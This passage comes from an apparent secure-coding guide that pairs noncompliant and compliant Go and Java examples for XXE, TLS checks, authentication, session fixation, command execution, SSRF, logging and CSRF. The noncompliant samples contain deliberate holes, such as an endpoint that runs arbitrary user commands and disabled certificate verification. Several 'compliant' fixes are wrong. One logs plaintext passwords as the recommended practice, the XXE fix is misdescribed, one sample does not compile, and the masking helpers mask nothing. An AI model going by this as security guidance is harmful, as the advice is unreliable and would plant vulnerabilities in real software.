response, err := http.Get(url) if err != nil { return nil, err } defer response.Body.Close() data, err := ioutil.ReadAll(response.Body) if err != nil { return nil, err } user := &User{} err = xml.Unmarshal(data, user) if err != nil { return nil, err } return user, nil } func main() { userID := os.Args[1] user, err := getUserData(userID) if err != nil { fmt.Printf("Error retrieving user data: %s\n", err) return } fmt.Printf("User ID: %d, Name: %s\n", user.ID, user.Name) } ``` In this noncompliant code, the XML data obtained from the API (response.Body) is directly read and parsed using the xml.Unmarshal function. However, there is no explicit restriction or mitigation against XML external entity (XXE) references. This makes the code vulnerable to XXE attacks, where an attacker can supply malicious XML content containing external entity references to disclose sensitive information or perform other unauthorized actions. To address this issue, here's an example of compliant code that properly restricts XML external entity references: Compliant code: ```php package main import ( "encoding/xml" "fmt" "io/ioutil" "net/http" "os" ) type User struct { ID int `xml:"id"` Name string `xml:"name"` } func getUserData(userID string) (*User, error) { url := fmt.Sprintf("https://api.example.com/users/%s", userID) response, err := http.Get(url) if err != nil { return nil, err } defer response.Body.Close() decoder := xml.NewDecoder(response.Body) decoder.Strict = true // Enable strict XML parsing decoder.Entity = xml.HTMLEntity // Disable expansion of external entities user := &User{} err = decoder.Decode(user) if err != nil { return nil, err } return user, nil } func main() { userID := os.Args[1] user, err := getUserData(userID) if err != nil { fmt.Printf("Error retrieving user data: %s\n", err) return } fmt.Printf("User ID: %d, Name: %s\n", user.ID, user.Name) } ``` In the compliant code, we make use of the xml.Decoder to perform strict XML parsing and restrict the expansion of external entities. We set the Strict field of the decoder to true and the Entity field to xml.HTMLEntity to disable the expansion of external entities. By enforcing strict XML parsing and disabling external entity expansion, the compliant code effectively mitigates the risk of XML external entity (XXE) attacks and ensures that only safe XML content is processed. ## Vulnerable and Outdated Components Noncompliant code: ```php package main import ( "fmt" "github.com/vulnerable/library" ) func main() { data := "Sensitive information" encryptedData := library.OldEncryption(data) // Using a vulnerable and outdated encryption function fmt.Println("Encrypted Data:", encryptedData) } ``` In this noncompliant code, we import a vulnerable and outdated library (github.com/vulnerable/library) and use its OldEncryption function to encrypt sensitive information. The outdated encryption function may have known vulnerabilities or weaknesses that can be exploited by attackers. To address this issue, here's an example of compliant code that avoids using vulnerable and outdated components: Compliant code: ```php package main import ( "fmt" "github.com/secure/library" ) func main() { data := "Sensitive information" encryptedData := library.NewEncryption(data) // Using a secure and updated encryption function fmt.Println("Encrypted Data:", encryptedData) } ``` In the compliant code, we import a secure and updated library (github.com/secure/library) that provides a NewEncryption function for encrypting sensitive information. The new encryption function incorporates the latest security practices and fixes any known vulnerabilities present in the old encryption function. By using secure and updated components, the compliant code reduces the risk of potential vulnerabilities and ensures that sensitive information is properly protected during encryption. It is important to regularly update and review the components used in an application to ensure they are free from known vulnerabilities and up to date with the latest security patches. ## Improper Validation of Certificate with Host Mismatch Noncompliant code: ```php package main import ( "crypto/tls" "fmt" "net/http" ) func main() { tr := &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: true, // Disables certificate validation }, } client := &http.Client{Transport: tr} resp, err := client.Get("https://example.com") if err != nil { fmt.Println("Error:", err) return } defer resp.Body.Close() // Process the response // ... } ``` In this noncompliant code, the InsecureSkipVerify field is set to true, which disables certificate validation. This means that the client will accept any certificate, even if it does not match the expected host (example.com in this case). This can lead to a potential security vulnerability as it allows for man-in-the-middle attacks and exposes the application to the risk of communicating with an unauthorized or malicious server. To address this issue, here's an example of compliant code that properly validates the certificate with the expected host: Compliant code: ```php package main import ( "crypto/tls" "fmt" "net/http" ) func main() { tr := &http.Transport{ TLSClientConfig: &tls.Config{ InsecureSkipVerify: false, // Enables certificate validation }, } client := &http.Client{Transport: tr} resp, err := client.Get("https://example.com") if err != nil { fmt.Println("Error:", err) return } defer resp.Body.Close() // Process the response // ... } ``` In the compliant code, the InsecureSkipVerify field is set to false, which enables certificate validation. This ensures that the client verifies the server's certificate and checks if it matches the expected host (example.com). By properly validating the certificate, the compliant code mitigates the risk of communicating with unauthorized or malicious servers and protects the integrity and confidentiality of the communication. ## Improper Authentication Noncompliant code: ```php package main import ( "fmt" "net/http" ) func main() { http.HandleFunc("/login", loginHandler) http.HandleFunc("/dashboard", dashboardHandler) http.ListenAndServe(":8080", nil) } func loginHandler(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") password := r.FormValue("password") // Perform authentication if username == "admin" && password == "password" { // Successful authentication // ... fmt.Fprintf(w, "Login successful!") } else { // Failed authentication // ... fmt.Fprintf(w, "Login failed!") } } func dashboardHandler(w http.ResponseWriter, r *http.Request) { // Check if the user is authenticated if isAuthenticated(r) { // Show dashboard // ... fmt.Fprintf(w, "Welcome to the dashboard!") } else { // Redirect to login page http.Redirect(w, r, "/login", http.StatusFound) } } func isAuthenticated(r *http.Request) bool { // Check if the user is authenticated // ... return false } ``` In this noncompliant code, the authentication mechanism is implemented using a simple username and password comparison in the loginHandler function. The credentials are sent in plain text and there is no additional security measure, such as encryption or hashing, applied to protect the sensitive information. Furthermore, the authentication state is not properly maintained, and any user can access the dashboard without being authenticated by directly visiting the /dashboard URL. To address these issues, here's an example of compliant code that demonstrates proper authentication in Go: Compliant code: ```php package main import ( "fmt" "golang.org/x/crypto/bcrypt" "net/http" ) func main() { http.HandleFunc("/login", loginHandler) http.HandleFunc("/dashboard", dashboardHandler) http.ListenAndServe(":8080", nil) } func loginHandler(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") password := r.FormValue("password") // Retrieve the stored hashed password for the given username hashedPassword, _ := getHashedPassword(username) // Compare the provided password with the hashed password err := bcrypt.CompareHashAndPassword([]byte(hashedPassword), []byte(password)) if err == nil { // Successful authentication // ... fmt.Fprintf(w, "Login successful!") } else { // Failed authentication // ... fmt.Fprintf(w, "Login failed!") } } func dashboardHandler(w http.ResponseWriter, r *http.Request) { // Check if the user is authenticated if isAuthenticated(r) { // Show dashboard // ... fmt.Fprintf(w, "Welcome to the dashboard!") } else { // Redirect to login page http.Redirect(w, r, "/login", http.StatusFound) } } func isAuthenticated(r *http.Request) bool { // Check if the user is authenticated // ... return false } func getHashedPassword(username string) (string, error) { // Retrieve the hashed password from the storage for the given username // ... return "", nil } ``` In the compliant code, the passwords are securely stored as hashed values using the bcrypt hashing algorithm. During the login process, the provided password is hashed and compared with the stored hashed password using bcrypt.CompareHashAndPassword. This ensures that the passwords are not stored or transmitted in plain text, providing an additional layer of security. Furthermore, the authentication state is properly maintained, and unauthorized access to the dashboard ## Session Fixation Noncompliant code: ```php package main import ( "fmt" "net/http" ) var sessionID string func main() { http.HandleFunc("/login", loginHandler) http.HandleFunc("/dashboard", dashboardHandler) http.ListenAndServe(":8080", nil) } func loginHandler(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") // Perform authentication if username == "admin" { // Successful authentication sessionID = "123456" // Fixed session ID http.SetCookie(w, &http.Cookie{Name: "sessionID", Value: sessionID}) fmt.Fprintf(w, "Login successful!") } else { // Failed authentication fmt.Fprintf(w, "Login failed!") } } func dashboardHandler(w http.ResponseWriter, r *http.Request) { // Check if the user has a valid session if r.Cookie != nil && r.Cookie["sessionID"] != nil && r.Cookie["sessionID"].Value == sessionID { // Show dashboard fmt.Fprintf(w, "Welcome to the dashboard!") } else { // Redirect to login page http.Redirect(w, r, "/login", http.StatusFound) } } ``` In this noncompliant code, the session fixation vulnerability is present. The sessionID variable is a global variable that stores the session ID after successful authentication. The session ID is then set as a cookie value using http.SetCookie. However, the session ID is fixed and does not change between different user sessions. This allows an attacker to fix their own session ID and potentially hijack the session of a legitimate user. To address this vulnerability, here's an example of compliant code that mitigates the session fixation vulnerability in Go: Compliant code: ```php package main import ( "fmt" "net/http" ) func main() { http.HandleFunc("/login", loginHandler) http.HandleFunc("/dashboard", dashboardHandler) http.ListenAndServe(":8080", nil) } func loginHandler(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") // Perform authentication if username == "admin" { // Generate a new session ID sessionID := generateSessionID() // Set the session ID as a cookie value http.SetCookie(w, &http.Cookie{Name: "sessionID", Value: sessionID}) // Redirect to the dashboard http.Redirect(w, r, "/dashboard", http.StatusFound) } else { // Failed authentication fmt.Fprintf(w, "Login failed!") } } func dashboardHandler(w http.ResponseWriter, r *http.Request) { // Check if the user has a valid session sessionIDCookie, err := r.Cookie("sessionID") if err == nil && isValidSessionID(sessionIDCookie.Value) { // Show dashboard fmt.Fprintf(w, "Welcome to the dashboard!") } else { // Redirect to login page http.Redirect(w, r, "/login", http.StatusFound) } } func generateSessionID() string { // Generate a new session ID // ... return "generated-session-id" } func isValidSessionID(sessionID string) bool { // Check if the session ID is valid // ... return true } ``` In the compliant code, the session ID is no longer stored in a global variable but is generated dynamically using the generateSessionID function. After successful authentication, a new session ID is generated and set as a cookie value using http.SetCookie. The user is then redirected to the dashboard page. ## Inclusion of Functionality from Untrusted Control Noncompliant code: ```php package main import ( "fmt" "net/http" "os/exec" ) func main() { http.HandleFunc("/execute", executeHandler) http.ListenAndServe(":8080", nil) } func executeHandler(w http.ResponseWriter, r *http.Request) { command := r.FormValue("command") // Execute the command received from the user output, err := exec.Command(command).CombinedOutput() if err != nil { fmt.Fprintf(w, "Error executing command: %v", err) return } fmt.Fprintf(w, "Command output:\n%s", output) } ``` In this noncompliant code, the executeHandler function receives a command from the user as a request parameter (command). The code directly executes the received command using exec.Command, without any validation or sanitization of the command input. This introduces a significant security risk as it allows an attacker to execute arbitrary commands on the underlying system, leading to potential remote code execution and unauthorized access. To address this security risk, here's an example of compliant code that mitigates the inclusion of functionality from untrusted control in Go: Compliant code: ```php package main import ( "fmt" "net/http" "os/exec" "strings" ) func main() { http.HandleFunc("/execute", executeHandler) http.ListenAndServe(":8080", nil) } func executeHandler(w http.ResponseWriter, r *http.Request) { command := r.FormValue("command") // Validate and sanitize the command input if !isValidCommand(command) { fmt.Fprintf(w, "Invalid command") return } // Execute the validated command output, err := exec.Command(command).CombinedOutput() if err != nil { fmt.Fprintf(w, "Error executing command: %v", err) return } fmt.Fprintf(w, "Command output:\n%s", output) } func isValidCommand(command string) bool { // Validate the command input against a whitelist of allowed commands allowedCommands := []string{"ls", "echo", "pwd"} // Example whitelist for _, allowedCmd := range allowedCommands { if command == allowedCmd { return true } } return false } ``` In the compliant code, the executeHandler function validates and sanitizes the command input received from the user. It checks the command against a whitelist of allowed commands (allowedCommands). Only the commands in the whitelist are considered valid and will be executed. Any command not present in the whitelist is rejected, preventing the execution of arbitrary commands. This helps to mitigate the risk of including functionality from untrusted control. ## Download of Code Without Integrity Check Noncompliant code: ```php package main import ( "fmt" "io/ioutil" "net/http" "os" ) func main() { url := "http://example.com/malicious-code.zip" filePath := "/path/to/save/malicious-code.zip" // Download the file from the specified URL response, err := http.Get(url) if err != nil { fmt.Println("Error downloading file:", err) return } defer response.Body.Close() // Read the contents of the response body data, err := ioutil.ReadAll(response.Body) if err != nil { fmt.Println("Error reading response:", err) return } // Save the downloaded file err = ioutil.WriteFile(filePath, data, 0644) if err != nil { fmt.Println("Error saving file:", err) return } fmt.Println("File downloaded successfully!") } ``` In this noncompliant code, the program downloads a file from a specified URL using the http.Get function and saves it to a local file using ioutil.WriteFile. However, the code does not perform any integrity check on the downloaded file. This leaves the system vulnerable to potential attacks, such as downloading and executing malicious code or tampering with the downloaded file. To address this security risk, here's an example of compliant code that incorporates an integrity check when downloading code in Go: Compliant code: ```php package main import ( "fmt" "io/ioutil" "net/http" "os" ) func main() { url := "http://example.com/malicious-code.zip" filePath := "/path/to/save/malicious-code.zip" // Download the file from the specified URL response, err := http.Get(url) if err != nil { fmt.Println("Error downloading file:", err) return } defer response.Body.Close() // Read the contents of the response body data, err := ioutil.ReadAll(response.Body) if err != nil { fmt.Println("Error reading response:", err) return } // Perform an integrity check on the downloaded file if !isFileIntegrityValid(data) { fmt.Println("File integrity check failed!") return } // Save the downloaded file err = ioutil.WriteFile(filePath, data, 0644) if err != nil { fmt.Println("Error saving file:", err) return } fmt.Println("File downloaded and saved successfully!") } func isFileIntegrityValid(data []byte) bool { // Implement an integrity check algorithm (e.g., cryptographic hash) // to validate the integrity of the downloaded file // and return true if the integrity check passes, or false otherwise // Example using SHA256 hash expectedHash := "..." actualHash := calculateHash(data) return expectedHash == actualHash } func calculateHash(data []byte) string { // Calculate the hash of the data using a suitable cryptographic hash function // and return the hash value as a string // Example using SHA256 hash // ... return "..." } ``` In the compliant code, after reading the contents of the response body, an integrity check is performed on the downloaded file using the isFileIntegrityValid function. The function implements an integrity check algorithm, such as calculating a cryptographic hash (e.g., SHA256) of the file's data. If the integrity check passes, the file is saved to the local path. Otherwise, the code rejects the file and terminates the process. ## Deserialization of Untrusted Data Noncompliant code: ```php package main import ( "encoding/json" "fmt" "log" ) type User struct { ID int Username string Email string } func main() { data := `{"ID": 1, "Username": "john", "Email": "john@example.com"}` var user User err := json.Unmarshal([]byte(data), &user) if err != nil { log.Fatal("Error deserializing user:", err) } fmt.Println("User:", user) } ``` In this noncompliant code, the program deserializes a JSON string representing a user object using json.Unmarshal. However, it does not perform any validation or sanitization on the input data. This leaves the system vulnerable to potential attacks, such as deserialization of maliciously crafted data, which could lead to code execution, information disclosure, or other security risks. To address this security risk, here's an example of compliant code that incorporates proper validation and sanitization when deserializing untrusted data in Go: Compliant code: ```php package main import ( "encoding/json" "fmt" "log" ) type User struct { ID int Username string Email string } func main() { data := `{"ID": 1, "Username": "john", "Email": "john@example.com"}` // Perform input validation and sanitization if !isValidJSON(data) { log.Fatal("Invalid JSON data") } var user User err := json.Unmarshal([]byte(data), &user) if err != nil { log.Fatal("Error deserializing user:", err) } // Perform additional validation on the deserialized user object if !isValidUser(user) { log.Fatal("Invalid user data") } fmt.Println("User:", user) } func isValidJSON(data string) bool { // Implement validation logic to ensure the input data is valid JSON // and return true if valid, or false otherwise // Example: use json.Valid function from the encoding/json package return json.Valid([]byte(data)) } func isValidUser(user User) bool { // Implement additional validation logic on the deserialized user object // to ensure it meets the application's requirements // and return true if valid, or false otherwise // Example: check if the username and email meet certain criteria if len(user.Username) < 3 || len(user.Email) == 0 { return false } return true } ``` In the compliant code, before deserializing the JSON data, the input is first validated using the isValidJSON function to ensure it is valid JSON. If the data is not valid, the process is terminated. After deserialization, additional validation is performed on the deserialized User object using the isValidUser function to ensure it meets the application's requirements. If the user data is deemed invalid, the process is terminated. By incorporating validation and sanitization steps, the compliant code mitigates the risk of deserializing untrusted data and helps prevent potential security vulnerabilities associated with deserialization attacks. ## Insufficient Logging Noncompliant code: ```php package main import ( "fmt" "log" "net/http" "os" ) func main() { http.HandleFunc("/", handleRequest) log.Fatal(http.ListenAndServe(":8080", nil)) } func handleRequest(w http.ResponseWriter, r *http.Request) { // Process the request // ... // Log the request details log.Println("Request received:", r.Method, r.URL.Path) // Perform some sensitive operation performSensitiveOperation() // Log the completion of the request log.Println("Request processed successfully") } func performSensitiveOperation() { // Perform some sensitive operation // ... // Log the sensitive operation log.Println("Sensitive operation performed") } ``` In this noncompliant code, logging is used to capture request details and the execution of a sensitive operation. However, the logging is limited to using the standard logger from the log package, which typically logs to the standard error output or a predefined log file. This approach is insufficient for effective logging as it lacks important information, such as log levels, timestamps, and contextual details. To address this issue and ensure sufficient logging, here's an example of compliant code that incorporates a more robust logging solution using a dedicated logging package, such as logrus: Compliant code: ```php package main import ( "fmt" "net/http" "os" log "github.com/sirupsen/logrus" ) func main() { // Initialize the logger initLogger() http.HandleFunc("/", handleRequest) log.Fatal(http.ListenAndServe(":8080", nil)) } func initLogger() { // Set the desired log output, format, and level log.SetOutput(os.Stdout) log.SetFormatter(&log.JSONFormatter{}) log.SetLevel(log.InfoLevel) } func handleRequest(w http.ResponseWriter, r *http.Request) { // Process the request // ... // Log the request details log.WithFields(log.Fields{ "method": r.Method, "path": r.URL.Path, }).Info("Request received") // Perform some sensitive operation performSensitiveOperation() // Log the completion of the request log.Info("Request processed successfully") } func performSensitiveOperation() { // Perform some sensitive operation // ... // Log the sensitive operation log.Warn("Sensitive operation performed") } ``` In the compliant code, the logrus package is used for logging. The logging is initialized in the initLogger function, where the desired log output, format, and level are set. In this example, the logs are directed to the standard output, formatted as JSON, and the log level is set to InfoLevel. The handleRequest function demonstrates how to log request details and the execution of a sensitive operation using the log.Info and log.Warn methods respectively. The logs include additional contextual information using the WithFields method to provide a structured log entry. By utilizing a more feature-rich logging package like logrus, the compliant code enhances the logging capabilities by providing log levels, timestamps, and contextual information. This enables better troubleshooting, monitoring, and security analysis. ## Improper Output Neutralization for Logs Noncompliant code: ```php package main import ( "fmt" "log" "net/http" ) func main() { http.HandleFunc("/", handleRequest) log.Fatal(http.ListenAndServe(":8080", nil)) } func handleRequest(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") // Log the username log.Println("User logged in:", username) // Process the request // ... } ``` In this noncompliant code, the username received from the request is directly logged using the log.Println function. This practice is insecure because it may lead to log injection attacks or unintentional exposure of sensitive information. An attacker could potentially exploit this vulnerability by injecting special characters or newlines into the username to modify the log output or disrupt the log file's structure. To address this issue and ensure proper output neutralization for logs, here's an example of compliant code that incorporates output sanitization using the log.Printf function: Compliant code: ```php package main import ( "fmt" "log" "net/http" "strings" ) func main() { http.HandleFunc("/", handleRequest) log.Fatal(http.ListenAndServe(":8080", nil)) } func handleRequest(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") // Sanitize the username sanitizedUsername := sanitizeString(username) // Log the sanitized username log.Printf("User logged in: %s", sanitizedUsername) // Process the request // ... } func sanitizeString(s string) string { // Replace special characters that could affect log output s = strings.ReplaceAll(s, "\n", "\\n") s = strings.ReplaceAll(s, "\r", "\\r") s = strings.ReplaceAll(s, "\t", "\\t") return s } ``` In the compliant code, the sanitizeString function is introduced to sanitize the username before logging. It replaces special characters such as newlines (\n), carriage returns (\r), and tabs (\t) with escape sequences to prevent their unintended interpretation or impact on the log output. The sanitized username is then logged using log.Printf with the appropriate format specifier %s. This ensures that the log entry is properly neutralized and does not introduce any vulnerabilities or unintended behavior. By sanitizing the log output in this manner, the compliant code mitigates the risk of log injection attacks and ensures that sensitive information is properly protected in the log files. ## Omission of Security-relevant Information Noncompliant code: ```php package main import ( "fmt" "log" "net/http" ) func main() { http.HandleFunc("/", handleRequest) log.Fatal(http.ListenAndServe(":8080", nil)) } func handleRequest(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") password := r.FormValue("password") // Log the user login event log.Printf("User logged in: %s", username) // Process the request // ... } ``` In this noncompliant code, only the username is logged during the user login event. However, the password, which is a security-relevant piece of information, is not included in the log entry. Omitting such security-relevant information can hinder the ability to effectively monitor and investigate security incidents. To address this issue and ensure the inclusion of security-relevant information in logs, here's an example of compliant code that incorporates all relevant information while logging: Compliant code: ```php package main import ( "fmt" "log" "net/http" ) func main() { http.HandleFunc("/", handleRequest) log.Fatal(http.ListenAndServe(":8080", nil)) } func handleRequest(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") password := r.FormValue("password") // Log the user login event with all relevant information log.Printf("User logged in - Username: %s, Password: %s", username, password) // Process the request // ... } ``` In the compliant code, both the username and password are included in the log entry using the log.Printf function. By including all relevant security information, such as the username and password, in the log entry, the compliant code provides valuable details for monitoring, auditing, and investigating security incidents. It's important to note that while logging sensitive information like passwords is generally not recommended, this example is provided to address the omission of security-relevant information in logs. In a real-world scenario, it's advisable to avoid logging sensitive information and consider using techniques like tokenization or obfuscation to protect sensitive data. ## Sensitive Information into Log File Noncompliant code: ```php package main import ( "fmt" "log" "net/http" "os" ) func main() { http.HandleFunc("/", handleRequest) log.Fatal(http.ListenAndServe(":8080", nil)) } func handleRequest(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") password := r.FormValue("password") // Log the sensitive information logFile, err := os.OpenFile("app.log", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644) if err != nil { log.Fatal(err) } defer logFile.Close() logger := log.New(logFile, "", log.LstdFlags) logger.Printf("Sensitive information - Username: %s, Password: %s", username, password) // Process the request // ... } ``` In this noncompliant code, the sensitive information, including the username and password, is logged directly into a log file using the log.Printf function. Storing sensitive information in plain text log files can introduce security risks, as the log files may be accessible to unauthorized individuals, leading to the exposure of sensitive data. To address this issue and prevent the sensitive information from being stored in the log file, here's an example of compliant code: Compliant code: ```php package main import ( "fmt" "log" "net/http" ) func main() { http.HandleFunc("/", handleRequest) log.Fatal(http.ListenAndServe(":8080", nil)) } func handleRequest(w http.ResponseWriter, r *http.Request) { username := r.FormValue("username") password := r.FormValue("password") // Process the request // Log a message without sensitive information log.Printf("Received request - Username: %s", username) // Perform authentication if !authenticate(username, password) { log.Printf("Authentication failed for user: %s", username) http.Error(w, "Authentication failed", http.StatusUnauthorized) return } // Continue with the request // ... } func authenticate(username, password string) bool { // Perform authentication logic // ... } ``` In the compliant code, the sensitive information is not logged directly into the log file. Instead, the code logs a message indicating the received request without including the actual sensitive information. By avoiding the logging of sensitive data, the compliant code ensures the protection of sensitive information and mitigates the risk of unauthorized access or exposure. It's important to follow best practices for handling sensitive information, such as not storing it in log files, encrypting it when necessary, and adhering to relevant data protection regulations and security guidelines. ## Server-Side Request Forgery (SSRF) Noncompliant code: ```php package main import ( "fmt" "io/ioutil" "log" "net/http" ) func main() { http.HandleFunc("/fetch", handleFetch) log.Fatal(http.ListenAndServe(":8080", nil)) } func handleFetch(w http.ResponseWriter, r *http.Request) { url := r.FormValue("url") // Make a request to the provided URL response, err := http.Get(url) if err != nil { log.Fatal(err) } defer response.Body.Close() // Read the response body body, err := ioutil.ReadAll(response.Body) if err != nil { log.Fatal(err) } fmt.Fprintf(w, "Response Body: %s", body) } ``` In this noncompliant code, the handleFetch function allows the user to specify a URL through the url parameter. The code then makes a request to the provided URL without performing any validation or restriction. This can lead to an SSRF vulnerability, where an attacker can potentially force the server to make unintended requests to internal resources or external systems. To address this issue and prevent SSRF attacks, here's an example of compliant code: Compliant code: ```php package main import ( "fmt" "io/ioutil" "log" "net/http" "net/url" ) func main() { http.HandleFunc("/fetch", handleFetch) log.Fatal(http.ListenAndServe(":8080", nil)) } func handleFetch(w http.ResponseWriter, r *http.Request) { rawURL := r.FormValue("url") // Parse the URL to ensure it is valid and safe parsedURL, err := url.ParseRequestURI(rawURL) if err != nil { http.Error(w, "Invalid URL", http.StatusBadRequest) return } // Ensure that the URL points to a permitted domain allowedDomains := []string{"example.com", "trusteddomain.com"} if !isDomainAllowed(parsedURL.Host, allowedDomains) { http.Error(w, "Access to the specified domain is not allowed", http.StatusForbidden) return } // Make a request to the provided URL response, err := http.Get(parsedURL.String()) if err != nil { log.Fatal(err) } defer response.Body.Close() // Read the response body body, err := ioutil.ReadAll(response.Body) if err != nil { log.Fatal(err) } fmt.Fprintf(w, "Response Body: %s", body) } func isDomainAllowed(domain string, allowedDomains []string) bool { for _, allowedDomain := range allowedDomains { if domain == allowedDomain { return true } } return false } ``` In the compliant code, several measures are taken to mitigate the SSRF vulnerability: 1. The url.ParseRequestURI function is used to parse and validate the provided URL. This ensures that the URL is well-formed and follows the expected format. 2. An allowed domain list is defined, and the isDomainAllowed function is used to check if the parsed URL's host is present in the allowed domain list. This restricts requests to only specified domains, preventing SSRF attacks. 3. Proper error handling is implemented to return appropriate HTTP responses for invalid URLs or unauthorized access attempts. By validating and restricting the URLs that can be requested, the compliant code helps prevent unauthorized or malicious access to internal or external resources, thereby mitigating the SSRF vulnerability. ================================================ FILE: docs/rules/java.md ================================================ --- layout: default title: Java parent: Rules --- # Java {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Exposure of sensitive information Noncompliant code: ```php import java.util.logging.*; public class UserController { private static final Logger LOGGER = Logger.getLogger(UserController.class.getName()); public void loginUser(String username, String password) { // Perform login logic LOGGER.info("User logged in - username: " + username); } } ``` In this noncompliant code, the loginUser method logs the username of the user who successfully logged in using the LOGGER.info statement. However, logging sensitive information like usernames can be risky because the log files might be accessible to unauthorized users or stored insecurely, leading to potential exposure of sensitive data. To address this issue, here's an example of compliant code that avoids exposing sensitive information via logs: Compliant code: ```php import java.util.logging.*; public class UserController { private static final Logger LOGGER = Logger.getLogger(UserController.class.getName()); public void loginUser(String username, String password) { // Perform login logic LOGGER.info("User logged in - username: " + obfuscateUsername(username)); } private String obfuscateUsername(String username) { // Implement a method to obfuscate or mask the username // Example: Replace characters with asterisks or hash the username // ... return username; // Return the obfuscated username } } ``` In the compliant code, the loginUser method no longer directly logs the username. Instead, it calls the obfuscateUsername method, which obfuscates or masks the sensitive information before it is logged. This can be done by replacing characters with asterisks, hashing the username, or using other appropriate obfuscation techniques. By obfuscating the sensitive information in the logs, the compliant code helps protect the confidentiality of the data, even if the log files are exposed or accessed by unauthorized individuals. ## Insertion of Sensitive Information Into Sent Data Noncompliant code: ```php import java.net.HttpURLConnection; import java.net.URL; import java.io.OutputStream; import java.io.IOException; public class PaymentService { private static final String API_ENDPOINT = "https://api.example.com/payments"; public void makePayment(String cardNumber, double amount) { try { // Create a connection to the API endpoint URL url = new URL(API_ENDPOINT); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("POST"); // Set the request headers connection.setRequestProperty("Content-Type", "application/json"); // Construct the request body String requestBody = "{\"cardNumber\": \"" + cardNumber + "\", \"amount\": " + amount + "}"; // Send the request connection.setDoOutput(true); OutputStream outputStream = connection.getOutputStream(); outputStream.write(requestBody.getBytes()); outputStream.flush(); outputStream.close(); // Process the response... } catch (IOException e) { e.printStackTrace(); } } } ``` In this noncompliant code, the makePayment method accepts the cardNumber and amount as parameters and constructs the request body directly by concatenating the sensitive information into the JSON string. This approach is insecure because it exposes the sensitive information (in this case, the card number) in clear text, which could be intercepted or logged by attackers. To address this issue, here's an example of compliant code that properly handles sensitive information in sent data: Compliant code: ```php import java.net.HttpURLConnection; import java.net.URL; import java.io.OutputStream; import java.io.IOException; public class PaymentService { private static final String API_ENDPOINT = "https://api.example.com/payments"; public void makePayment(String cardNumber, double amount) { try { // Create a connection to the API endpoint URL url = new URL(API_ENDPOINT); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("POST"); // Set the request headers connection.setRequestProperty("Content-Type", "application/json"); // Construct the request body using a JSON library or object mapping JsonObject requestBody = new JsonObject(); requestBody.addProperty("cardNumber", obfuscateCardNumber(cardNumber)); requestBody.addProperty("amount", amount); // Send the request connection.setDoOutput(true); OutputStream outputStream = connection.getOutputStream(); outputStream.write(requestBody.toString().getBytes()); outputStream.flush(); outputStream.close(); // Process the response... } catch (IOException e) { e.printStackTrace(); } } private String obfuscateCardNumber(String cardNumber) { // Implement a method to obfuscate or mask the card number // Example: Replace characters with asterisks, mask certain digits, or encrypt the card number // ... return cardNumber; // Return the obfuscated card number } } ``` In the compliant code, the makePayment method no longer directly inserts the sensitive information into the request body string. Instead, it uses a JSON library or object mapping technique to construct the request body. The sensitive information, such as the cardNumber, is passed through the obfuscateCardNumber method, which performs appropriate obfuscation or masking techniques to protect the data before it is included in the request body. By properly handling the sensitive information and obfuscating it before sending, the compliant code helps protect the confidentiality of the data during transmission, reducing the risk of unauthorized access or interception. ## Cross-Site Request Forgery (CSRF) Noncompliant code: ```php import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class AccountService { public void updateEmail(HttpServletRequest request, HttpServletResponse response) { String newEmail = request.getParameter("email"); // Code to update the email address in the user's account... // ... } } ``` In this noncompliant code, the updateEmail method is susceptible to CSRF attacks because it doesn't include any protection against such attacks. An attacker can craft a malicious web page or form that includes a hidden field containing the request to update the email address. When an unsuspecting user visits this malicious page while authenticated in the target application, their browser automatically sends the request to the updateEmail endpoint, resulting in an unauthorized email address update. To address this issue, here's an example of compliant code that implements CSRF protection measures: Compliant code: ```php import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import java.util.UUID; public class AccountService { private static final String CSRF_TOKEN_SESSION_ATTR = "csrfToken"; public void updateEmail(HttpServletRequest request, HttpServletResponse response) { String newEmail = request.getParameter("email"); // Validate CSRF token HttpSession session = request.getSession(); String csrfToken = (String) session.getAttribute(CSRF_TOKEN_SESSION_ATTR); String requestCsrfToken = request.getParameter("csrfToken"); if (csrfToken == null || !csrfToken.equals(requestCsrfToken)) { response.setStatus(HttpServletResponse.SC_FORBIDDEN); return; } // Code to update the email address in the user's account... // ... } public void generateCsrfToken(HttpServletRequest request) { HttpSession session = request.getSession(); String csrfToken = UUID.randomUUID().toString(); session.setAttribute(CSRF_TOKEN_SESSION_ATTR, csrfToken); } } ``` In the compliant code, several measures are implemented to prevent CSRF attacks. 1. The updateEmail method retrieves the CSRF token from both the session and the request parameters. It compares the two tokens to ensure they match. If the tokens don't match or if the CSRF token is missing, the method returns a forbidden status, preventing the unauthorized update. 2. The generateCsrfToken method generates a unique CSRF token using a UUID and stores it in the user's session. This method is called when rendering the form or page that requires CSRF protection. The generated token should be included as a hidden field in the form. By including and validating the CSRF token in requests, the compliant code protects against CSRF attacks, ensuring that requests to sensitive actions are only accepted from legitimate sources and preventing unauthorized actions from being performed on behalf of authenticated users. ## Use of Hard-coded Password Noncompliant code: ```php public class DatabaseConnection { private static final String DB_URL = "jdbc:mysql://localhost:3306/mydatabase"; private static final String DB_USERNAME = "root"; private static final String DB_PASSWORD = "password123"; public void connect() { // Code to establish a database connection using the hard-coded credentials // ... } } ``` In this noncompliant code, the database connection information, including the password, is hard-coded directly into the code. This practice is highly insecure because if an attacker gains access to the source code or decompiles the application, they can easily retrieve the password and potentially compromise the database. To address this issue, here's an example of compliant code that avoids hard-coding passwords: Compliant code: ```php public class DatabaseConnection { private static final String DB_URL = "jdbc:mysql://localhost:3306/mydatabase"; private static final String DB_USERNAME = "root"; private String dbPassword; public DatabaseConnection(String dbPassword) { this.dbPassword = dbPassword; } public void connect() { // Code to 